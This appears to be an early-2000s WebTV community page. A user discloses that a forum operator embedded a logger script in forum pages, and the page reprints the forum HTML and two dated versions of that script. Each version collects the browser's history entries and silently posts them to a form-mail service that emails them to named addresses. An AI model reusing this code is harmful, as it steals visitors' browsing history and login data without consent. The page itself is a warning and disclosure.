MSNTV

Offer your feedback and comments at Rogi's Kitchen Table.


Man, after the Anthony Chu bull crud, you'd have thought this outfit would have tap danced 'til their shoes smoked to reestablish trust with its clients! WRONG!

For the last several weeks I have noticed that Manny at the T/L2 Forum is using a logging script to capture User Information and particularly the pages in your HISTORY. Note, if you go to the forum without logging out of your site the timestamped login information will be present in history and the logger would allow someone to use that information to gain access into your file manager and open your account information to see your password for future use. If you have visited the forums, it is advised that you change your passord ASAP.
Below is a copy of the script included in a message I forwarded to Tyhart.

From: "Willy Duitt"
Date: 8 Dec 05:07 (PST)
To: tyhart@xxxx.net

Subject: Notice: Manny is using a logger script at Transload Forum!
--------------------------------------------------------------------------------
Ty;

As a leading member of the WebTv community you may wish to know Manny has been and continues to LOG members info including history whenever you visit the forum. It should also be noted that Manny is NOT sanctioned by Tisnet. This is why he must request users to send him their account information. The WebTv/Transload Forum is just one of many which is hosted by Starblvd's. Check out the one I opened in the JAVASCRIPT category for testing the ability to add/change the forums codes and have you noticed Manny has changed the forum to PASSWORD PROTECTED without the ability to sign up?

He recently updated his LOGGER and changed the address the script is
at to another Angelfire site.

Below you will find the Codes from todays LOGGER script addy change.

NOTE where the javascript is placed on a line shortly after MR.CHU

Regards;

....Willy
===========================================================
< html>< head> <br />< title>Computer_and_Internet/Hardwares/WebTV/transload / title> <br />< script language="JavaScript" type="text/javascript"> <br /><!-- <br />function m(s,i,u){window.status=s; <br />if(document.images&&m.arguments.length>1&&document.images['i'+i]){ <br />if(m.arguments.length>2)document.images['i'+i].src=u;else <br />document.images['i'+i].src=refImage.src; <br />}return true;} <br />function <br />c(i,u){window.status='';if(document.images&&c.arguments.length>1&&document.images['i'+i])document.images['i'+i].src=u.src;} <br />function Empty(s){return(s==null)||(s=='');} <br />function GetCookieVal(ofs){var <br />e=document.cookie.indexOf(';',ofs);if(e==-1)e=document.cookie.length;return unescape(document.cookie.substring(ofs,e));} <br />function GetCookie(name){var a=name+'=';var al=a.length;var <br />cl=document.cookie.length;var i=0;while(i<cl){var <br />j=i+al;if(document.cookie.substring(i,j)==a)return <br />GetCookieVal(j);i=document.cookie.indexOf(' <br />',i)+1;if(i==0)break;}return null;} <br />function SetCookie(name,value){var <br />e=(SetCookie.arguments.length>2)?SetCookie.arguments[2]:null;document.cookie=name+'='+escape(value)+'; path=/'+(Empty(e)?'''; <br />expires='+e.toGMTString()));} <br />var longEnough=null; <br />function LongEnough(){if(longEnough==null){longEnough=new <br />Date();longEnough.setTime(longEnough.getTime()+365*24*60*60*1000);}return longEnough;} <br />var shortEnough=null; <br />function ShortEnough(){if(shortEnough==null){shortEnough=new <br />Date();shortEnough.setTime(shortEnough.getTime()+1000);}return <br />shortEnough;} <br />//--> <br /></ script> <br />/head> <br />< body bgcolor="#b0c4de" text="#000000" link="#00008b" vlink="#8b008b" <br />alink="#ff69b4"> <br /><font face="Arial,Helvetica" size="2"><font face="Arial,Helvetica" <br />size="2"><font size="+1"><a href="http://on.starblvd.net/meet/"><img <br />src="http://on.starblvd.net/gif/sfstar.gif"; alt="StarForums" width=15 <br />height=16 border=0></a> <br /><a href="/meet/">/</a> <br /><a href="/meet/Computer_and_Internet/">Computer and Internet/</a> <br /><a href="/meet/Computer_and_Internet/Hardwares/">Hardwares/</a> <br /><a href="/meet/Computer_and_Internet/Hardwares/WebTV/">WebTV/</a> <br />transload [499] <br /><a href="http://on.starblvd.net/vote/transload"><img <br />src="http://on.starblvd.net/gif/qframe.gif"; alt="polling booth" <br />width=14 height=14 border=0></a> <br /><a href="http://on.starblvd.net/vote/transload?ans"><img <br />src="http://on.starblvd.net/gif/exframe.gif"; alt="polling result" <br />width=14 height=14 border=0></a> <br /><a href="http://on.starblvd.net/post/transload"><img <br />src="http://on.starblvd.net/gif/mail.gif"; alt="send mail" width=14 <br />height=10 border=0></a> <br /><a href="/meet/Computer_and_Internet/Hardwares/WebTV/transload&fr" <br />target="_top"><img src="http://on.starblvd.net/gif/frameon.gif"; <br />alt="frame on" width=14 height=14 border=0></a> <br /><a <br />href="/meet/Computer_and_Internet/Hardwares/WebTV/transload&sbt"><img <br />src="http://on.starblvd.net/gif/sbton.gif"; alt="show thread titles" <br />width=14 height=14 border=0></a> <br /><a href="javascript:window.print();" <br />onMouseOver="window.status='print this page';return true;" <br />onMouseOut="window.status='';"><img <br />src="http://on.starblvd.net/gif/smallprint.gif"; alt="print" width=15 <br />height=15 border=0></a> <br /><a href="http://on.starblvd.net/cgi-bin/bbsutil?transload&plus=1"; <br />onMouseOver="return m('Member Utilities')" onMouseOut="c()" <br />target="_top"><img src="http://on.starblvd.net/gif/hammer.gif"; <br />alt="utilities" width=16 height=15 border=0></a> <br /><a href="/bbs/plus_feature.shtml"><img <br />src="http://on.starblvd.net/gif/plus.gif"; alt="StarForums Plus" <br />width=15 height=15 border=0></a> <br /></font></font> <br /><br> <br /><br> <br /><a href="http://www.transload.net/tl2/"; <br />><img align=right width=95 height=95 <br />src="http://www.transload.net/gif/powertl2trans.gif"; border=0></a><br> <br /><font color="#003c4b" size=4> <br /><em>Greetings</em></font><big> <br />from <a style="background:#202080; color:#c0d4f0; font-style:italic; <br />font-weight:bold" href="http://www.transload.net/tl2/">; Tl2 </a> .. a <br />premium Web Space provider since 2001. The <a <br />href="http://www.transload.net/tl2/faq.shtml">FAQ</a>; section has <br />answers to many of the problems you will face.. enjoy!</big> <br /><br><br> <br /><table border=0 cellpadding=0 width=72%> <br /><tr> <br /><td><font color=indigo size=3><em> ~ Mr.Chu</em></font> <br /><!--// LOGGER SCRIPT BEGINS HERE! //--> <br /><script language="javascript" type="text/javascript" <br />src="http://www.angelfire.com/oz/temp1/file.js">/script>; <br /></td> <br /><td><font color=indigo size=3><em> ~ The Guardian <br />Angels</em></font></td> <br /><td><font color=indigo size=3><em> ~ <br />TISNet</em></font></td></tr></table> <br /><font size=1> <br />Please note: The GA's and TISNet provide assistance only.. to these <br />services.</font><br> <br /><br><br> <br />==================================================== <br />LOGGER SCRIPT FROM TRANSLOAD FORUM 11-17-2003 <br />http://angelfire.com/ns/med/logger.js> <br /><!-- <br />document.write('<form <br />action=http://www.response-o-matic.com/cgi-bin/rom.pl> <br />method="POST">'); l = history.length; for(i=0; i<l; i++) <br />{document.write('<input type=hidden name=Link&'+i+' <br />value='+history[i]+'>');} <br />document.write('<input type="hidden" name="your_email_address" <br />value="grady-@webtv.net"> <br /><input type="hidden" name="email_subject_line" value="Recents"> <br /><input type="hidden" name="your_name" value="Spoon!"> <br /><input type="hidden" name="required_fields" value="your_email_address"> <br /><input type="hidden" name="reply_warning" value="off"> <br /><input type="hidden" name="submit" autosubmit="onenter"></form>'); <br />// -->
LOGGER SCRIPT FROM TRANSLOAD FORUM 12/08/03
Transload Forum Onenter form submit:
http://angelfire.com/oz/temp1/file.js> <br /><!-- <br />document.write('<form <br />action=http://www.response-o-matic.com/cgi-bin/rom.pl> <br />method="POST">'); l = history.length; <br />for (i=0; i<l; i++) {document.write('<input type=hidden <br />name=File&'+i+' value='+history[i]+'>');} <br />document.write('<input type="hidden" name="your_email_address" <br />value="gatecap@fastmail.fm"> <br /><input type="hidden" name="email_subject_line" value="List"> <br /><input type="hidden" name="your_name" value="Spoon!"> <br /><input type="hidden" name="required_fields" value="your_email_address"> <br /><input type="hidden" name="reply_warning" value="off"> <br /><input type="hidden" name="submit" autosubmit="onenter"> <\/form>'); <br />// -->
FROM THE DESK OF: Willy Duitt